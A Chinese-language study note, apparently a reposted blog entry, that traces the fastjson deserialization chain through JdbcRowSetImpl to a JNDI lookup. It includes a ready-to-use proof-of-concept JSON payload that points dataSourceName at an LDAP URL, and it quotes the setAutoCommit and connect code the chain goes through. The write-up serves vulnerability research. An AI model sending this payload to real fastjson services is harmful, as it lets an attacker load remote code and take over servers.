栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Java

【JAVA反序列化学习5】fastjson反序列化JdbcRowSetImpl类JNDI注入分析

Java 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

【JAVA反序列化学习5】fastjson反序列化JdbcRowSetImpl类JNDI注入分析


最近fastjson又出洞了,想起来还有链没填完,赶紧补完先。


fastjson反序列化JdbcRowSetImpl类JNDI注入分析

这次分析只要到达jndi.lookup就可以了。

直接上poc。

String t = "{"@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://127.0.0.1:1389/Exploit", "autoCommit":true}";
JSON.parseObject(t);

直接在JdbcRowSetImpl中搜索lookup

发现只有在connect方法处调用了lookup,参数是DataSourceName。需要找到在fastjson反序列化过程中,setter或者getter有调用到connect的地方。直接搜。

找到了两个可能的地方。一个是getDatabaseMetaData中。

public DatabaseMetaData getDatabaseMetaData() throws SQLException {
    Connection var1 = this.connect();
    return var1.getMetaData();
}

另一个是setAutoCommit

public void setAutoCommit(boolean var1) throws SQLException {
    if (this.conn != null) {
        this.conn.setAutoCommit(var1);
    } else {
        this.conn = this.connect();
        this.conn.setAutoCommit(var1);
    }

}

动态跟踪一下,看看先,最先进到的是setAutoCommit。


DataSourceName也在反序列化中由setter写入我们指定的ldap服务器的地址了。然后啊,然后就没有了,然后就是jndi注入了。

至于getDatabaseMetaData,则不会调用到,因为在反序列化过程中调用的getter必须继承自Collection Map AtomicBoolean AtomicInteger AtomicLong的getter方法,这在之前BCEL那条链中讲到过。

总结一下调用链。

parse->setValue->setAutoCommit->connect->lookup

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/946121.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号